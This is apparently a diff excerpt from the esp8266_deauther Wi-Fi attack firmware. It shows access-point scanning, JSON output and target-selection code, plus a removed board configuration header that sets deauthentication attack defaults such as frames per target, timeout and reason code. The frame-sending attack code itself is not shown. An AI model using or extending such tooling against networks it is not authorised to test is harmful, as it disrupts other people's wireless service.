_size += String(getAPChannel(i)).length();
|
||||
_size += sanitizeJson(getAPName(i)).length();
|
||||
_size += String(getAPRSSI(i)).length();
|
||||
|
||||
if ((i != results - 1) && (i != maxAPScanResults - 1)) _size++; // ,
|
||||
}
|
||||
|
||||
sendHeader(200, "text/json", _size);
|
||||
|
||||
String json;
|
||||
int bufc = 0; //bufferCounter
|
||||
json = "{\"aps\":[";
|
||||
|
||||
sendToBuffer(json);
|
||||
|
||||
for (int i = 0; i < results && i < maxAPScanResults; i++) {
|
||||
if (debug) Serial.print(".");
|
||||
json = "{";
|
||||
json += "\"i\":" + (String)i + ",";
|
||||
json += "\"c\":" + (String)getAPChannel(i) + ",";
|
||||
json += "\"m\":\"" + getAPMac(i) + "\",";
|
||||
json += "\"ss\":\"" + sanitizeJson(getAPName(i)) + "\",";
|
||||
json += "\"r\":" + (String)getAPRSSI(i) + ",";
|
||||
json += "\"e\":" + (String)encryption[i] + ",";
|
||||
//json += "\"v\":\""+getAPVendor(i)+"\",";
|
||||
json += "\"h\":" + (String)hidden[i] + ",";
|
||||
json += "\"se\":" + (String)isSelected(i);
|
||||
json += "}";
|
||||
if ((i != results - 1) && (i != maxAPScanResults - 1)) json += ",";
|
||||
|
||||
sendToBuffer(json);
|
||||
|
||||
}
|
||||
|
||||
json = "],\"multiAPs\":\"";
|
||||
if(settings.multiAPs) json += "1";
|
||||
else json += "0";
|
||||
json += "\"}";
|
||||
|
||||
sendToBuffer(json);
|
||||
sendBuffer();
|
||||
|
||||
if (debug) Serial.println("done");
|
||||
|
||||
}
|
||||
|
||||
String APScan::getResultsJSON() {
|
||||
if (debug) Serial.print("getting AP scan result JSON ");
|
||||
String json = "{ \"aps\":[ ";
|
||||
for (int i = 0; i < results && i < maxAPScanResults; i++) {
|
||||
if (debug) Serial.print(".");
|
||||
json += "{";
|
||||
json += "\"i\":" + (String)i + ",";
|
||||
json += "\"c\":" + (String)getAPChannel(i) + ",";
|
||||
json += "\"m\":\"" + getAPMac(i) + "\",";
|
||||
json += "\"ss\":\"" + sanitizeJson(getAPName(i)) + "\",";
|
||||
json += "\"r\":" + (String)getAPRSSI(i) + ",";
|
||||
json += "\"e\":" + (String)encryption[i] + ",";
|
||||
//json += "\"v\":\""+getAPVendor(i)+"\",";
|
||||
json += "\"h\":" + (String)hidden[i] + ",";
|
||||
json += "\"se\":" + (String)isSelected(i);
|
||||
json += "}";
|
||||
if ((i != results - 1) && (i != maxAPScanResults - 1)) json += ",";
|
||||
}
|
||||
json += "] }";
|
||||
if (debug) {
|
||||
Serial.println(json);
|
||||
Serial.println("done");
|
||||
}
|
||||
return json;
|
||||
}
|
||||
|
||||
void APScan::sort() {
|
||||
if (debug) Serial.println("sorting APs ");
|
||||
|
||||
/* I know, it's bubble sort... but it works and that's the main thing! ;) (feel free to improve it tho) */
|
||||
|
||||
for (int i = 0; i < results - 1; i++) {
|
||||
Serial.println("--------------");
|
||||
for (int h = 0; h < results - i - 1; h++) {
|
||||
|
||||
if (rssi[h] < rssi[h + 1]) {
|
||||
Serial.println("switched: " + (String)rssi[h] + " > " + (String)rssi[h + 1]);
|
||||
int tmpA = channels[h];
|
||||
channels[h] = channels[h + 1];
|
||||
channels[h + 1] = tmpA;
|
||||
|
||||
tmpA = rssi[h];
|
||||
rssi[h] = rssi[h + 1];
|
||||
rssi[h + 1] = tmpA;
|
||||
|
||||
tmpA = encryption[h];
|
||||
encryption[h] = encryption[h + 1];
|
||||
encryption[h + 1] = tmpA;
|
||||
|
||||
String tmpB = names[h];
|
||||
strncpy(names[h], names[h + 1], 32);
|
||||
tmpB.toCharArray(names[h + 1], 32);
|
||||
|
||||
bool tmpC = hidden[h];
|
||||
hidden[h] = hidden[h + 1];
|
||||
hidden[h + 1] = tmpC;
|
||||
|
||||
tmpC = selected[h];
|
||||
selected[h] = selected[h + 1];
|
||||
selected[h + 1] = tmpC;
|
||||
|
||||
Mac tmpMac = aps._get(h);
|
||||
aps.set(h,aps._get(h+1));
|
||||
aps.set(h+1,tmpMac);
|
||||
|
||||
} else Serial.println((String)rssi[h] + " < " + (String)rssi[h + 1]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void APScan::select(int num) {
|
||||
if (debug) Serial.println("select " + (String)num + " - " + !selected[num]);
|
||||
if(num < 0) {
|
||||
if(num == -1){
|
||||
if(settings.multiAPs) {
|
||||
selectedSum = results;
|
||||
for (int i = 0; i < results; i++) selected[i] = true;
|
||||
}
|
||||
} else {
|
||||
selectedSum = 0;
|
||||
for (int i = 0; i < maxAPScanResults; i++) selected[i] = false;
|
||||
}
|
||||
} else if(!settings.multiAPs) {
|
||||
for (int i = 0; i < maxAPScanResults; i++){
|
||||
if(i != num) selected[i] = false;
|
||||
else selected[num] = !selected[num];
|
||||
}
|
||||
selectedSum = 1;
|
||||
} else {
|
||||
if(selected[num]) selectedSum--;
|
||||
else selectedSum++;
|
||||
selected[num] = !selected[num];
|
||||
}
|
||||
}
|
||||
|
||||
bool APScan::isSelected(int num) {
|
||||
return selected[num];
|
||||
}
|
|
@ -0,0 +1,61 @@
|
|||
#ifndef APScan_h
|
||||
#define APScan_h
|
||||
|
||||
#define maxAPScanResults 80
|
||||
|
||||
#include <ESP8266WiFi.h>
|
||||
#include "Mac.h"
|
||||
#include "MacList.h"
|
||||
#include "Settings.h"
|
||||
#include <ESP8266WebServer.h>
|
||||
|
||||
extern String data_getVendor(uint8_t first, uint8_t second, uint8_t third);
|
||||
extern ESP8266WebServer server;
|
||||
extern void sendBuffer();
|
||||
extern void sendToBuffer(String str);
|
||||
extern void sendHeader(int code, String type, size_t _size);
|
||||
extern const bool debug;
|
||||
|
||||
extern Settings settings;
|
||||
|
||||
class APScan {
|
||||
public:
|
||||
APScan();
|
||||
|
||||
bool start();
|
||||
void sort();
|
||||
String getResultsJSON();
|
||||
void select(int num);
|
||||
void sendResults();
|
||||
|
||||
String getAPName(int num);
|
||||
String getAPEncryption(int num);
|
||||
//String getAPVendor(int num);
|
||||
String getAPMac(int num);
|
||||
bool isHidden(int num);
|
||||
int getAPRSSI(int num);
|
||||
int getAPChannel(int num);
|
||||
|
||||
int getFirstTarget();
|
||||
bool isSelected(int num);
|
||||
|
||||
String sanitizeJson(String input);
|
||||
|
||||
int results = 0;
|
||||
int selectedSum;
|
||||
MacList aps;
|
||||
private:
|
||||
|
||||
int channels[maxAPScanResults];
|
||||
int rssi[maxAPScanResults];
|
||||
char names[maxAPScanResults][33];
|
||||
int encryption[maxAPScanResults];
|
||||
bool hidden[maxAPScanResults];
|
||||
|
||||
String getEncryption(int code);
|
||||
|
||||
bool selected[maxAPScanResults];
|
||||
|
||||
};
|
||||
|
||||
#endif
|
|
@ -1,730 +0,0 @@
|
|||
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
|
||||
|
||||
#pragma once
|
||||
|
||||
#define ENABLE_DEBUG
|
||||
#define DEBUG_PORT Serial
|
||||
#define DEBUG_BAUD 115200
|
||||
|
||||
#define DEFAULT_ESP8266
|
||||
|
||||
// #define NODEMCU
|
||||
// #define WEMOS_D1_MINI
|
||||
// #define HACKHELD_VEGA
|
||||
// #define DISPLAY_EXAMPLE_I2C
|
||||
// #define DISPLAY_EXAMPLE_SPI
|
||||
|
||||
// #define MALTRONICS
|
||||
// #define DSTIKE_DEAUTHER_V1
|
||||
// #define DSTIKE_DEAUTHER_V2
|
||||
// #define DSTIKE_DEAUTHER_V3
|
||||
// #define DSTIKE_DEAUTHER_V3_5
|
||||
// #define DSTIKE_D_DUINO_B_V5_LED_RING
|
||||
// #define DSTIKE_DEAUTHER_BOY
|
||||
// #define DSTIKE_NODEMCU_07
|
||||
// #define DSTIKE_NODEMCU_07_V2
|
||||
// #define DSTIKE_DEAUTHER_OLED
|
||||
// #define DSTIKE_DEAUTHER_OLED_V1_5_S
|
||||
// #define DSTIKE_DEAUTHER_OLED_V1_5
|
||||
// #define DSTIKE_DEAUTHER_OLED_V2
|
||||
// #define DSTIKE_DEAUTHER_OLED_V2_5
|
||||
// #define DSTIKE_DEAUTHER_OLED_V3
|
||||
// #define DSTIKE_DEAUTHER_OLED_V3_5
|
||||
// #define DSTIKE_DEAUTHER_OLED_V4
|
||||
// #define DSTIKE_DEAUTHER_OLED_V5
|
||||
// #define DSTIKE_DEAUTHER_OLED_V6
|
||||
// #define DSTIKE_DEAUTHER_MOSTER
|
||||
// #define DSTIKE_DEAUTHER_MOSTER_V2
|
||||
// #define DSTIKE_DEAUTHER_MOSTER_V3
|
||||
// #define DSTIKE_DEAUTHER_MOSTER_V4
|
||||
// #define DSTIKE_DEAUTHER_MOSTER_V5
|
||||
// #define DSTIKE_USB_DEAUTHER
|
||||
// #define DSTIKE_USB_DEAUTHER_V2
|
||||
// #define DSTIKE_DEAUTHER_WATCH
|
||||
// #define DSTIKE_DEAUTHER_WATCH_V2
|
||||
// #define DSTIKE_DEAUTHER_MINI
|
||||
// #define DSTIKE_DEAUTHER_MINI_EVO
|
||||
|
||||
// #define LYASI_7W_E27_LAMP
|
||||
// #define AVATAR_5W_E14_LAMP
|
||||
|
||||
// Forces formatting of SPIFFS and EEPROM ot startup
|
||||
// #define FORMAT_SPIFFS
|
||||
// #define FORMAT_EEPROM
|
||||
|
||||
// Forces a reset of all settings at startup
|
||||
// #define RESET_SETTINGS
|
||||
|
||||
// ========== CONFIGS ========== //
|
||||
|
||||
// https://github.com/spacehuhntech/hackheld
|
||||
#if defined(HACKHELD_VEGA)
|
||||
// ===== LED ===== //
|
||||
#define USE_LED true
|
||||
#define LED_NEOPIXEL
|
||||
|
||||
#define LED_NEOPIXEL_GRB
|
||||
// #define LED_NEOPIXEL_RGB
|
||||
|
||||
#define LED_MODE_BRIGHTNESS 10
|
||||
|
||||
#define LED_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 15 // D8
|
||||
|
||||
// ===== DISPLAY ===== //
|
||||
#define USE_DISPLAY true
|
||||
#define FLIP_DIPLAY true
|
||||
|
||||
#define SH1106_I2C
|
||||
|
||||
#define I2C_ADDR 0x3C
|
||||
#define I2C_SDA 4 // D2
|
||||
#define I2C_SCL 5 // D1
|
||||
|
||||
// ===== BUTTONS ===== //
|
||||
#define BUTTON_UP 14 // D5
|
||||
#define BUTTON_DOWN 12 // D6
|
||||
#define BUTTON_A 2 // D4
|
||||
#define BUTTON_B 0 // D3
|
||||
|
||||
// https://github.com/SpacehuhnTech/esp8266_deauther/wiki/Setup-Display-&-Buttons#example-setup-with-i2c-oled
|
||||
#elif defined(DISPLAY_EXAMPLE_I2C)
|
||||
|
||||
// ===== DISPLAY ===== //
|
||||
#define SH1106_I2C
|
||||
// #define SSD1306_I2C
|
||||
|
||||
#define I2C_ADDR 0x3C
|
||||
#define I2C_SDA 5
|
||||
#define I2C_SCL 4
|
||||
|
||||
// #define FLIP_DIPLAY true
|
||||
|
||||
// ===== BUTTONS ===== //
|
||||
#define BUTTON_UP 14
|
||||
#define BUTTON_DOWN 12
|
||||
#define BUTTON_A 13
|
||||
|
||||
// ===== LED ===== //
|
||||
#define LED_NEOPIXEL_GRB
|
||||
// #define LED_NEOPIXEL_RGB
|
||||
|
||||
#define LED_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 9
|
||||
#define LED_MODE_BRIGHTNESS 10
|
||||
|
||||
|
||||
// https://github.com/SpacehuhnTech/esp8266_deauther/wiki/Setup-Display-&-Buttons#example-setup-with-spi-oled
|
||||
#elif defined(DISPLAY_EXAMPLE_SPI)
|
||||
|
||||
#define SH1106_SPI
|
||||
// #define SSD1306_SPI
|
||||
|
||||
#define SPI_RES 5
|
||||
#define SPI_DC 4
|
||||
#define SPI_CS 15
|
||||
|
||||
// #define FLIP_DIPLAY true
|
||||
|
||||
// ===== BUTTONS ===== //
|
||||
#define BUTTON_UP 0
|
||||
#define BUTTON_DOWN 12
|
||||
#define BUTTON_A 2
|
||||
|
||||
// ===== LED ===== //
|
||||
#define LED_NEOPIXEL_GRB
|
||||
// #define LED_NEOPIXEL_RGB
|
||||
|
||||
#define LED_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 9
|
||||
#define LED_MODE_BRIGHTNESS 10
|
||||
|
||||
#elif defined(MALTRONICS)
|
||||
|
||||
// ===== Reset ====== //
|
||||
#define RESET_BUTTON 5
|
||||
|
||||
// ===== LED ===== //
|
||||
#define LED_DOTSTAR
|
||||
#define LED_NUM 1
|
||||
#define LED_DOTSTAR_CLK 12
|
||||
#define LED_DOTSTAR_DATA 13
|
||||
#define LED_MODE_BRIGHTNESS 255
|
||||
|
||||
// ===== Web ===== //
|
||||
#define WEB_IP_ADDR (192, 168, 4, 2)
|
||||
#define WEB_URL "deauther.tools"
|
||||
|
||||
#elif defined(DSTIKE_D_DUINO_B_V5_LED_RING)
|
||||
|
||||
// ===== LED ===== //
|
||||
#define LED_NEOPIXEL_GRB
|
||||
#define LED_NUM 12
|
||||
#define LED_NEOPIXEL_PIN 15
|
||||
|
||||
// ===== DISPLAY ===== //
|
||||
#define SH1106_I2C
|
||||
#define FLIP_DIPLAY true
|
||||
#define DISPLAY_TEXT "Hardware by DSTIKE"
|
||||
|
||||
// ===== BUTTONS ===== //
|
||||
#define BUTTON_UP 12
|
||||
#define BUTTON_DOWN 13
|
||||
#define BUTTON_A 14
|
||||
|
||||
#elif defined(DSTIKE_DEAUTHER_BOY)
|
||||
|
||||
// ===== LED ===== //
|
||||
#define LED_NEOPIXEL_GRB
|
||||
#define LED_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 15
|
||||
|
||||
// ===== DISPLAY ===== //
|
||||
#define SH1106_I2C
|
||||
#define FLIP_DIPLAY true
|
||||
#define DISPLAY_TEXT "Hardware by DSTIKE"
|
||||
|
||||
// ===== BUTTONS ===== //
|
||||
#define BUTTON_UP 10
|
||||
#define BUTTON_DOWN 9
|
||||
#define BUTTON_A 14
|
||||
#define BUTTON_B 12
|
||||
|
||||
#elif defined(DSTIKE_DEAUTHER_V3_5) || defined(DSTIKE_NODEMCU_07_V2)
|
||||
|
||||
// ===== LED ===== //
|
||||
#define LED_NEOPIXEL_GRB
|
||||
#define LED_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 15
|
||||
|
||||
#elif defined(DSTIKE_DEAUTHER_OLED_V1_5_S)
|
||||
|
||||
// ===== LED ===== //
|
||||
#define LED_NEOPIXEL_GRB
|
||||
#define LED_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 15
|
||||
|
||||
// ===== DISPLAY ===== //
|
||||
#define SH1106_I2C
|
||||
#define FLIP_DIPLAY true
|
||||
#define DISPLAY_TEXT "Hardware by DSTIKE"
|
||||
|
||||
// ===== BUTTONS ===== //
|
||||
#define BUTTON_UP 12
|
||||
#define BUTTON_DOWN 13
|
||||
#define BUTTON_A 14
|
||||
|
||||
#elif defined(DSTIKE_DEAUTHER_OLED) || defined(DSTIKE_DEAUTHER_OLED_V1_5)
|
||||
|
||||
// ===== LED ===== //
|
||||
#define LED_DIGITAL
|
||||
|
||||
#define LED_PIN_R 16
|
||||
#define LED_PIN_B 2
|
||||
|
||||
// ===== DISPLAY ===== //
|
||||
#define SSD1306_I2C
|
||||
#define FLIP_DIPLAY true
|
||||
#define DISPLAY_TEXT "Hardware by DSTIKE"
|
||||
|
||||
// ===== BUTTONS ===== //
|
||||
#define BUTTON_UP 12
|
||||
#define BUTTON_DOWN 13
|
||||
#define BUTTON_A 14
|
||||
|
||||
#elif defined(DSTIKE_DEAUTHER_OLED_V2) || defined(DSTIKE_DEAUTHER_OLED_V2_5) || defined(DSTIKE_DEAUTHER_OLED_V3)
|
||||
|
||||
// ===== LED ===== //
|
||||
#define LED_DIGITAL
|
||||
|
||||
#define LED_PIN_R 16
|
||||
#define LED_PIN_B 2
|
||||
|
||||
// ===== DISPLAY ===== //
|
||||
#define SH1106_I2C
|
||||
#define FLIP_DIPLAY true
|
||||
#define DISPLAY_TEXT "Hardware by DSTIKE"
|
||||
|
||||
// ===== BUTTONS ===== //
|
||||
#define BUTTON_UP 12
|
||||
#define BUTTON_DOWN 13
|
||||
#define BUTTON_A 14
|
||||
|
||||
#elif defined(DSTIKE_DEAUTHER_OLED_V3_5) || defined(DSTIKE_DEAUTHER_OLED_V4) || defined(DSTIKE_DEAUTHER_OLED_V5) || defined(DSTIKE_DEAUTHER_MOSTER) || defined(DSTIKE_DEAUTHER_MOSTER_V2) || defined(DSTIKE_DEAUTHER_MOSTER_V3) || defined(DSTIKE_DEAUTHER_MOSTER_V4)
|
||||
|
||||
// ===== LED ===== //
|
||||
#define LED_NEOPIXEL_GRB
|
||||
#define LED_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 15
|
||||
|
||||
// ===== DISPLAY ===== //
|
||||
#define SH1106_I2C
|
||||
#define FLIP_DIPLAY true
|
||||
#define DISPLAY_TEXT "Hardware by DSTIKE"
|
||||
|
||||
// ===== BUTTONS ===== //
|
||||
#define BUTTON_UP 12
|
||||
#define BUTTON_DOWN 13
|
||||
#define BUTTON_A 14
|
||||
|
||||
#elif defined(DSTIKE_DEAUTHER_OLED_V6) || defined(DSTIKE_DEAUTHER_MOSTER_V5)
|
||||
|
||||
// ===== LED ===== //
|
||||
#define LED_NEOPIXEL_GRB
|
||||
#define LED_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 15
|
||||
|
||||
#define HIGHLIGHT_LED 16
|
||||
|
||||
// ===== DISPLAY ===== //
|
||||
#define SH1106_I2C
|
||||
#define FLIP_DIPLAY true
|
||||
#define DISPLAY_TEXT "Hardware by DSTIKE"
|
||||
|
||||
#define RTC_DS3231
|
||||
|
||||
// ===== BUTTONS ===== //
|
||||
#define BUTTON_UP 12
|
||||
#define BUTTON_DOWN 13
|
||||
#define BUTTON_A 14
|
||||
|
||||
#elif defined(DSTIKE_USB_DEAUTHER_V2)
|
||||
|
||||
// ===== LED ===== //
|
||||
#define LED_NEOPIXEL_GRB
|
||||
#define LED_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 4
|
||||
|
||||
#elif defined(DSTIKE_DEAUTHER_WATCH) || defined(DSTIKE_DEAUTHER_MINI)
|
||||
|
||||
// ===== LED ===== //
|
||||
#define LED_NEOPIXEL_GRB
|
||||
#define LED_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 15
|
||||
|
||||
#define HIGHLIGHT_LED 16
|
||||
|
||||
// ===== DISPLAY ===== //
|
||||
#define SH1106_I2C
|
||||
#define FLIP_DIPLAY true
|
||||
#define DISPLAY_TEXT "Hardware by DSTIKE"
|
||||
|
||||
// ===== BUTTONS ===== //
|
||||
#define BUTTON_UP 12
|
||||
#define BUTTON_DOWN 13
|
||||
#define BUTTON_A 14
|
||||
|
||||
#elif defined(DSTIKE_DEAUTHER_WATCH_V2) || defined(DSTIKE_DEAUTHER_MINI_EVO)
|
||||
|
||||
// ===== LED ===== //
|
||||
#define LED_NEOPIXEL_GRB
|
||||
#define LED_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 15
|
||||
|
||||
#define HIGHLIGHT_LED 16
|
||||
|
||||
// ===== DISPLAY ===== //
|
||||
#define SH1106_I2C
|
||||
#define FLIP_DIPLAY true
|
||||
#define DISPLAY_TEXT "Hardware by DSTIKE"
|
||||
|
||||
#define RTC_DS3231
|
||||
|
||||
// ===== BUTTONS ===== //
|
||||
#define BUTTON_UP 12
|
||||
#define BUTTON_DOWN 13
|
||||
#define BUTTON_A 14
|
||||
|
||||
#elif defined(LYASI_7W_E27_LAMP)
|
||||
|
||||
// ===== LED ===== //
|
||||
#define LED_MY92
|
||||
|
||||
#define LED_MODE_OFF 0, 0, 0
|
||||
#define LED_MODE_SCAN 0, 0, 255
|
||||
#define LED_MODE_ATTACK 255, 0, 0
|
||||
#define LED_MODE_IDLE 0, 255, 0
|
||||
#define LED_MODE_BRIGHTNESS 10
|
||||
|
||||
#define LED_NUM 1
|
||||
#define LED_MY92_DATA 4
|
||||
#define LED_MY92_CLK 5
|
||||
#define LED_MY92_CH_R 0
|
||||
#define LED_MY92_CH_G 1
|
||||
#define LED_MY92_CH_B 2
|
||||
#define LED_MY92_CH_BRIGHTNESS 3
|
||||
#define LED_MY92_MODEL MY92XX_MODEL_MY9291
|
||||
|
||||
#elif defined(AVATAR_5W_E14_LAMP)
|
||||
|
||||
// ===== LED ===== //
|
||||
#define LED_MY92
|
||||
|
||||
#define LED_MODE_OFF 0, 0, 0
|
||||
#define LED_MODE_SCAN 0, 0, 255
|
||||
#define LED_MODE_ATTACK 255, 0, 0
|
||||
#define LED_MODE_IDLE 0, 255, 0
|
||||
#define LED_MODE_BRIGHTNESS 10
|
||||
|
||||
#define LED_NUM 1
|
||||
#define LED_MY92_DATA 13
|
||||
#define LED_MY92_CLK 15
|
||||
#define LED_MY92_CH_R 0
|
||||
#define LED_MY92_CH_G 1
|
||||
#define LED_MY92_CH_B 2
|
||||
#define LED_MY92_CH_BRIGHTNESS 3
|
||||
#define LED_MY92_MODEL MY92XX_MODEL_MY9291
|
||||
|
||||
#elif defined(DEFAULT_ESP8266) || defined(NODEMCU) || defined(WEMOS_D1_MINI) || defined(DSTIKE_USB_DEAUTHER) || defined(DSTIKE_NODEMCU_07) || defined(DSTIKE_DEAUTHER_V1) || defined(DSTIKE_DEAUTHER_V2) || defined(DSTIKE_DEAUTHER_V3)
|
||||
// ===== LED ===== //
|
||||
// #define LED_DIGITAL
|
||||
// #define LED_PIN_R 16 // NodeMCU on-board LED
|
||||
// #define LED_PIN_B 2 // ESP-12 LED
|
||||
|
||||
#endif /* if defined(DEFAULT_ESP8266) || defined(NODEMCU) || defined(WEMOS_D1_MINI) || defined(DSTIKE_USB_DEAUTHER) || defined(DSTIKE_NODEMCU_07) || defined(DSTIKE_DEAUTHER) || defined(DSTIKE_DEAUTHER_V1) || defined(DSTIKE_DEAUTHER_V2) || defined(DSTIKE_DEAUTHER_V3) */
|
||||
// ============================== //
|
||||
|
||||
|
||||
// ========= FALLBACK ========= //
|
||||
|
||||
// ===== AUTOSAVE ===== //
|
||||
#ifndef AUTOSAVE_ENABLED
|
||||
#define AUTOSAVE_ENABLED true
|
||||
#endif /* ifndef ATTACK_ALL_CH */
|
||||
|
||||
#ifndef AUTOSAVE_TIME
|
||||
#define AUTOSAVE_TIME 60
|
||||
#endif /* ifndef ATTACK_ALL_CH */
|
||||
|
||||
// ===== ATTACK ===== //
|
||||
#ifndef ATTACK_ALL_CH
|
||||
#define ATTACK_ALL_CH false
|
||||
#endif /* ifndef ATTACK_ALL_CH */
|
||||
|
||||
#ifndef RANDOM_TX
|
||||
#define RANDOM_TX false
|
||||
#endif /* ifndef RANDOM_TX */
|
||||
|
||||
#ifndef ATTACK_TIMEOUT
|
||||
#define ATTACK_TIMEOUT 600
|
||||
#endif /* ifndef ATTACK_TIMEOUT */
|
||||
|
||||
#ifndef DEAUTHS_PER_TARGET
|
||||
#define DEAUTHS_PER_TARGET 25
|
||||
#endif /* ifndef DEAUTHS_PER_TARGET */
|
||||
|
||||
#ifndef DEAUTH_REASON
|
||||
#define DEAUTH_REASON 1
|
||||
#endif /* ifndef DEAUTH_REASON */
|
||||
|
||||
#ifndef BEACON_INTERVAL_100MS
|
||||
#define BEACON_INTERVAL_100MS true
|
||||
#endif /* ifndef BEACON_INTERVAL_100MS */
|
||||
|
||||
#ifndef PROBE_FRAMES_PER_SSID
|
||||
#define PROBE_FRAMES_PER_SSID 1
|
||||
#endif /* ifndef PROBE_FRAMES_PER_SSID */
|
||||
|
||||
// ===== SNIFFER ===== //
|
||||
#ifndef CH_TIME
|
||||
#define CH_TIME 200
|
||||
#endif /* ifndef CH_TIME */
|
||||
|
||||
#ifndef MIN_DEAUTH_FRAMES
|
||||
#define MIN_DEAUTH_FRAMES 3
|
||||
#endif /* ifndef MIN_DEAUTH_FRAMES */
|
||||
|
||||
// ===== ACCESS POINT ===== //
|
||||
#ifndef AP_SSID
|
||||
#define AP_SSID "pwned"
|
||||
#endif /* ifndef AP_SSID */
|
||||
|
||||
#ifndef AP_PASSWD
|
||||
#define AP_PASSWD "deauther"
|
||||
#endif /* ifndef AP_PASSWD */
|
||||
|
||||
#ifndef AP_HIDDEN
|
||||
#define AP_HIDDEN false
|
||||
#endif /* ifndef AP_HIDDEN */
|
||||
|
||||
#ifndef AP_IP_ADDR
|
||||
#define AP_IP_ADDR { 192, 168, 4, 1 }
|
||||
#endif /* ifndef AP_IP_ADDR */
|
||||
|
||||
// ===== WEB INTERFACE ===== //
|
||||
#ifndef WEB_ENABLED
|
||||
#define WEB_ENABLED true
|
||||
#endif /* ifndef WEB_ENABLED */
|
||||
|
||||
#ifndef WEB_CAPTIVE_PORTAL
|
||||
#define WEB_CAPTIVE_PORTAL false
|
||||
#endif /* ifndef WEB_CAPTIVE_PORTAL */
|
||||
|
||||
#ifndef WEB_USE_SPIFFS
|
||||
#define WEB_USE_SPIFFS false
|
||||
#endif /* ifndef WEB_USE_SPIFFS */
|
||||
|
||||
#ifndef DEFAULT_LANG
|
||||
#define DEFAULT_LANG "en"
|
||||
#endif /* ifndef DEFAULT_LANG */
|
||||
|
||||
// ===== CLI ===== //
|
||||
#ifndef CLI_ENABLED
|
||||
#define CLI_ENABLED true
|
||||
#endif /* ifndef CLI_ENABLED */
|
||||
|
||||
#ifndef CLI_ECHO
|
||||
#define CLI_ECHO true
|
||||
#endif /* ifndef CLI_ECHO */
|
||||
|
||||
// =============== LED =============== //
|
||||
#if defined(LED_NEOPIXEL_RGB) || defined(LED_NEOPIXEL_GRB)
|
||||
#define LED_NEOPIXEL
|
||||
#endif /* if defined(LED_NEOPIXEL_RGB) || defined(LED_NEOPIXEL_GRB) */
|
||||
|
||||
#if !defined(LED_DIGITAL) && !defined(LED_RGB) && !defined(LED_NEOPIXEL) && !defined(LED_MY92) && !defined(LED_DOTSTAR)
|
||||
#define LED_DIGITAL
|
||||
#define USE_LED false
|
||||
#else // if !defined(LED_DIGITAL) && !defined(LED_RGB) && !defined(LED_NEOPIXEL) && !defined(LED_MY92) && !defined(LED_DOTSTAR)
|
||||
#define USE_LED true
|
||||
#endif // if !defined(LED_DIGITAL) && !defined(LED_RGB) && !defined(LED_NEOPIXEL) && !defined(LED_MY92) && !defined(LED_DOTSTAR)
|
||||
|
||||
#ifndef LED_PIN_R
|
||||
#define LED_PIN_R 255
|
||||
#endif /* ifndef LED_PIN_R */
|
||||
|
||||
#ifndef LED_PIN_G
|
||||
#define LED_PIN_G 255
|
||||
#endif /* ifndef LED_PIN_G */
|
||||
|
||||
#ifndef LED_PIN_B
|
||||
#define LED_PIN_B 255
|
||||
#endif /* ifndef LED_PIN_B */
|
||||
|
||||
#ifndef LED_ANODE
|
||||
#define LED_ANODE false
|
||||
#endif /* ifndef LED_ANODE */
|
||||
|
||||
#ifndef LED_MODE_OFF
|
||||
#define LED_MODE_OFF 0, 0, 0
|
||||
#endif /* ifndef LED_MODE_OFF */
|
||||
|
||||
#ifndef LED_MODE_SCAN
|
||||
#define LED_MODE_SCAN 0, 0, 255
|
||||
#endif /* ifndef LED_MODE_SCAN */
|
||||
|
||||
#ifndef LED_MODE_ATTACK
|
||||
#define LED_MODE_ATTACK 255, 0, 0
|
||||
#endif /* ifndef LED_MODE_ATTACK */
|
||||
|
||||
#ifndef LED_MODE_IDLE
|
||||
#define LED_MODE_IDLE 0, 255, 0
|
||||
#endif /* ifndef LED_MODE_IDLE */
|
||||
|
||||
#ifndef LED_MODE_BRIGHTNESS
|
||||
#define LED_MODE_BRIGHTNESS 10
|
||||
#endif /* ifndef LED_MODE_BRIGHTNESS */
|
||||
|
||||
// =============== DISPLAY =============== //
|
||||
|
||||
#ifndef DISPLAY_TIMEOUT
|
||||
#define DISPLAY_TIMEOUT 600
|
||||
#endif /* ifndef DISPLAY_TIMEOUT */
|
||||
|
||||
#ifndef DISPLAY_TEXT
|
||||
#define DISPLAY_TEXT ""
|
||||
#endif /* ifndef DISPLAY_TEXT */
|
||||
|
||||
#ifndef FLIP_DIPLAY
|
||||
#define FLIP_DIPLAY false
|
||||
#endif /* ifndef FLIP_DIPLAY */
|
||||
|
||||
#if !defined(SSD1306_I2C) && !defined(SSD1306_SPI) && !defined(SH1106_I2C) && !defined(SH1106_SPI)
|
||||
#define SSD1306_I2C
|
||||
#define USE_DISPLAY false
|
||||
#else /* if !defined(SSD1306_I2C) && !defined(SSD1306_SPI) && !defined(SH1106_I2C) && !defined(SH1106_SPI) */
|
||||
#define USE_DISPLAY true
|
||||
#endif /* if !defined(SSD1306_I2C) && !defined(SSD1306_SPI) && !defined(SH1106_I2C) && !defined(SH1106_SPI) */
|
||||
|
||||
#ifndef I2C_ADDR
|
||||
#define I2C_ADDR 0x3C
|
||||
#endif /* ifndef I2C_ADDR */
|
||||
|
||||
#ifndef I2C_SDA
|
||||
#define I2C_SDA 5
|
||||
#endif /* ifndef I2C_SDA */
|
||||
|
||||
#ifndef I2C_SCL
|
||||
#define I2C_SCL 4
|
||||
#endif /* ifndef I2C_SCL */
|
||||
|
||||
#ifndef SPI_RES
|
||||
#define SPI_RES 5
|
||||
#endif /* ifndef SPI_RES */
|
||||
|
||||
#ifndef SPI_DC
|
||||
#define SPI_DC 4
|
||||
#endif /* ifndef SPI_DC */
|
||||
|
||||
#ifndef SPI_CS
|
||||
#define SPI_CS 15
|
||||
#endif /* ifndef SPI_CS */
|
||||
|
||||
// =============== BUTTONS =============== //
|
||||
#ifndef BUTTON_UP
|
||||
#define BUTTON_UP 255
|
||||
#endif // ifndef BUTTON_UP
|
||||
|
||||
#ifndef BUTTON_DOWN
|
||||
#define BUTTON_DOWN 255
|
||||
#endif // ifndef BUTTON_DOWN
|
||||
|
||||
#ifndef BUTTON_A
|
||||
